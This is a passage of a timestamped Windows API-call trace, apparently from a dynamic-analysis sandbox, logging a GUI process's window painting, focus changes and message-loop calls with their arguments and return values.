SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0278.151] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x7f040b89, lParam=0x0) returned 0x1 [0278.151] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0278.151] GetSysColor (nIndex=8) returned 0x0 [0278.151] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0278.151] GetSysColor (nIndex=5) returned 0xffffff [0278.151] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0278.152] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9bc | out: lpRect=0x18e9bc) returned 1 [0278.153] FillRect (hDC=0x4010b6e, lprc=0x18e9bc, hbr=0xe100186) returned 1 [0278.153] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x4010b6e, lParam=0x4) returned 0x0 [0278.159] GetClientRect (in: hWnd=0x1035c, lpRect=0x18ee54 | out: lpRect=0x18ee54) returned 1 [0278.159] FillRect (hDC=0x1f01019b, lprc=0x18ee54, hbr=0x2f100178) returned 1 [0278.164] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0278.164] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0278.164] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f044) returned 0x0 [0278.164] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x1, lParam=0x40362) returned 0x1 [0278.166] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x1, lParam=0x40362) returned 0x0 [0278.166] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0278.167] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0278.167] PostMessageA (hWnd=0x2024a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 1 [0278.167] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x7, wParam=0x40362, lParam=0x0) returned 0x0 [0278.169] IsWindow (hWnd=0x2024a) returned 1 [0278.169] EnableWindow (hWnd=0x2024a, bEnable=1) returned 1 [0278.169] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0278.169] IsWindow (hWnd=0xc0060) returned 1 [0278.169] EnableWindow (hWnd=0xc0060, bEnable=1) returned 1 [0278.169] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0278.169] SetActiveWindow (hWnd=0xc0060) returned 0x2024a [0278.169] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x86, wParam=0x0, lParam=0xc0060) returned 0x1 [0278.170] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x6, wParam=0x0, lParam=0xc0060) returned 0x0 [0278.170] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0278.170] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0278.171] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0278.171] IsIconic (hWnd=0xc0060) returned 0 [0278.171] GetWindowRect (in: hWnd=0xc0060, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0278.171] GetWindowLongA (hWnd=0xc0060, nIndex=-16) returned 382337024 [0278.171] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0278.172] IsIconic (hWnd=0x80042) returned 0 [0278.173] GetWindowRect (in: hWnd=0x80042, lpRect=0x18f59c | out: lpRect=0x18f59c) returned 1 [0278.173] GetWindowLongA (hWnd=0x80042, nIndex=-16) returned 114229248 [0278.173] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x47, wParam=0x0, lParam=0x18f7e8) returned 0x0 [0278.173] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x1, lParam=0x2024a) returned 0x1 [0278.175] SetFocus (hWnd=0x10340) returned 0x2024a [0278.175] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x0 [0278.175] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0278.175] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0278.176] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0278.176] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0278.176] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x2024a, lParam=0x0) returned 0x0 [0278.176] GetFocus () returned 0x10340 [0278.176] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0278.176] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0278.176] SetFocus (hWnd=0x1035c) returned 0x10340 [0278.177] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x1035c, lParam=0x0) returned 0x0 [0278.177] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0278.177] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0278.177] SendMessageA (hWnd=0x10340, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0278.177] SendMessageA (hWnd=0x60050, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0278.177] SendMessageA (hWnd=0xb0168, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0278.178] SendMessageA (hWnd=0x40338, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0278.178] SendMessageA (hWnd=0x1035a, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0278.178] SendMessageA (hWnd=0x1035c, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0278.178] GetWindowLongA (hWnd=0x1035c, nIndex=-16) returned 1409351904 [0278.178] SendMessageA (hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0278.178] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb1, wParam=0x0, lParam=0xffffffff) returned 0x1 [0278.178] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f684 | out: lpRect=0x18f684) returned 1 [0278.179] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0278.179] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0278.179] ClientToScreen (in: hWnd=0x1035c, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0278.179] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18f66c | out: lpPoint=0x18f66c) returned 1 [0278.179] IsIconic (hWnd=0xc0060) returned 0 [0278.179] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0278.179] IsIconic (hWnd=0xc0060) returned 0 [0278.179] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f66c | out: lpRect=0x18f66c) returned 1 [0278.179] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0278.179] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0278.179] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0278.180] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x7, wParam=0x10340, lParam=0x0) returned 0x1 [0278.180] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0278.180] GetSysColor (nIndex=8) returned 0x0 [0278.180] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0278.180] GetSysColor (nIndex=5) returned 0xffffff [0278.180] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0278.181] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f304 | out: lpdwProcessId=0x18f304) returned 0x8cc [0278.181] GetCurrentProcessId () returned 0x8d0 [0278.181] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0278.181] GetFocus () returned 0x1035c [0278.181] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xb029, wParam=0x0, lParam=0x0) returned 0x0 [0278.181] GetKeyState (nVirtKey=18) returned 1 [0278.182] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.182] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.182] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.182] IsIconic (hWnd=0x2024a) returned 0 [0278.182] GetFocus () returned 0x1035c [0278.182] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.182] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0278.182] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=858, y=502)) returned 1 [0278.182] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0278.182] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0278.183] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0278.183] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0278.183] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0278.183] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0278.183] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.183] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.183] GetCapture () returned 0x0 [0278.183] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0278.184] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.184] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0278.184] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0278.184] GetCurrentProcessId () returned 0x8d0 [0278.184] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.184] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0278.190] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xa9015b) returned 0x0 [0278.191] GetKeyState (nVirtKey=18) returned 1 [0278.191] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.191] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.191] DispatchMessageA (lpMsg=0x18ff1c) returned 0x1 [0278.192] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0278.192] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0278.192] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0278.192] GetSysColor (nIndex=8) returned 0x0 [0278.192] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0278.192] GetSysColor (nIndex=5) returned 0xffffff [0278.192] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff [0278.198] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0278.198] FillRect (hDC=0x6010b8e, lprc=0x18f41c, hbr=0xe100186) returned 1 [0278.199] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x6010b8e, lParam=0x4) returned 0x0 [0278.199] GetClientRect (in: hWnd=0x1035a, lpRect=0x18f41c | out: lpRect=0x18f41c) returned 1 [0278.199] FillRect (hDC=0x5010b6e, lprc=0x18f41c, hbr=0xe100186) returned 1 [0278.199] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x5010b6e, lParam=0x4) returned 0x0 [0278.200] GetClientRect (in: hWnd=0x1035c, lpRect=0x18f8b4 | out: lpRect=0x18f8b4) returned 1 [0278.200] FillRect (hDC=0x1f01019b, lprc=0x18f8b4, hbr=0x2f100178) returned 1 [0278.201] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x27010ba3, lParam=0x1035c) returned 0x2f100178 [0278.201] GetSysColor (nIndex=8) returned 0x0 [0278.201] SetTextColor (hdc=0x27010ba3, color=0x0) returned 0x0 [0278.201] GetSysColor (nIndex=5) returned 0xffffff [0278.201] SetBkColor (hdc=0x27010ba3, color=0xffffff) returned 0xffffff [0278.202] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.202] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.202] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.202] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.202] IsIconic (hWnd=0xc0060) returned 0 [0278.203] IsIconic (hWnd=0xc0060) returned 0 [0278.203] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0278.203] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0278.203] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0278.203] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0278.203] GetSysColor (nIndex=8) returned 0x0 [0278.203] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0278.203] GetSysColor (nIndex=15) returned 0xf0f0f0 [0278.203] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0278.203] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0278.203] GetCurrentProcessId () returned 0x8d0 [0278.203] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0278.204] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0278.204] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0278.204] GetCurrentProcessId () returned 0x8d0 [0278.204] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0278.204] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0278.204] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0278.204] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0278.204] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0278.205] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.205] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.205] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.206] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0278.206] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x87040b89, lParam=0x0) returned 0x1 [0278.206] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0278.206] GetSysColor (nIndex=8) returned 0x0 [0278.206] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0278.206] GetSysColor (nIndex=5) returned 0xffffff [0278.206] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0278.207] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.207] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.207] WindowFromPoint (Point=0x358) returned 0x1035a [0278.207] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f50358) returned 0x1 [0278.208] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.208] GetCurrentProcessId () returned 0x8d0 [0278.208] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.208] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.208] GetCapture () returned 0x0 [0278.208] WaitMessage () returned 1 [0278.266] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.266] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.266] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.274] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.275] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.275] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.275] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.275] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0278.275] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x20040ba4, lParam=0x0) returned 0x1 [0278.275] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0278.275] GetSysColor (nIndex=8) returned 0x0 [0278.275] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0278.275] GetSysColor (nIndex=5) returned 0xffffff [0278.275] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0278.276] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.276] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.276] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.276] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0278.277] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.277] GetCurrentProcessId () returned 0x8d0 [0278.277] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.277] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.277] GetCapture () returned 0x0 [0278.277] WaitMessage () returned 1 [0278.348] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.348] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.349] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.349] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.349] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.349] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.349] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.350] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0278.350] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x32040ba2, lParam=0x0) returned 0x1 [0278.350] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0278.350] GetSysColor (nIndex=8) returned 0x0 [0278.350] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0278.350] GetSysColor (nIndex=5) returned 0xffffff [0278.350] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0278.351] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.351] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.351] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.351] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f4035a) returned 0x1 [0278.351] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.351] GetCurrentProcessId () returned 0x8d0 [0278.351] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.351] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.351] GetCapture () returned 0x0 [0278.351] WaitMessage () returned 1 [0278.421] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.421] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.421] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.421] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.422] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.422] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.422] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.422] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0278.422] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x91040b89, lParam=0x0) returned 0x1 [0278.422] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1b0106ca, lParam=0x1035c) returned 0x2f100178 [0278.422] GetSysColor (nIndex=8) returned 0x0 [0278.422] SetTextColor (hdc=0x1b0106ca, color=0x0) returned 0x0 [0278.422] GetSysColor (nIndex=5) returned 0xffffff [0278.423] SetBkColor (hdc=0x1b0106ca, color=0xffffff) returned 0xffffff [0278.423] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.423] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.423] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.423] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1df035a) returned 0x1 [0278.424] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.424] GetCurrentProcessId () returned 0x8d0 [0278.424] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.424] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.424] GetCapture () returned 0x0 [0278.424] WaitMessage () returned 1 [0278.668] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.668] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.668] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.668] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0278.669] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.669] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.669] WindowFromPoint (Point=0x35a) returned 0x1035a [0278.669] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x1f6035a) returned 0x1 [0278.669] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0278.669] GetCurrentProcessId () returned 0x8d0 [0278.669] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0278.669] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0278.669] GetCapture () returned 0x0 [0278.669] WaitMessage () returned 1 [0278.718] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0278.718] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0278.718] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0278.718] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0278.718] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=858, y=502)) returned 1 [0278.718] WindowFromPoint (Point=0x35d) returned 0x1035a [0278.718] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, 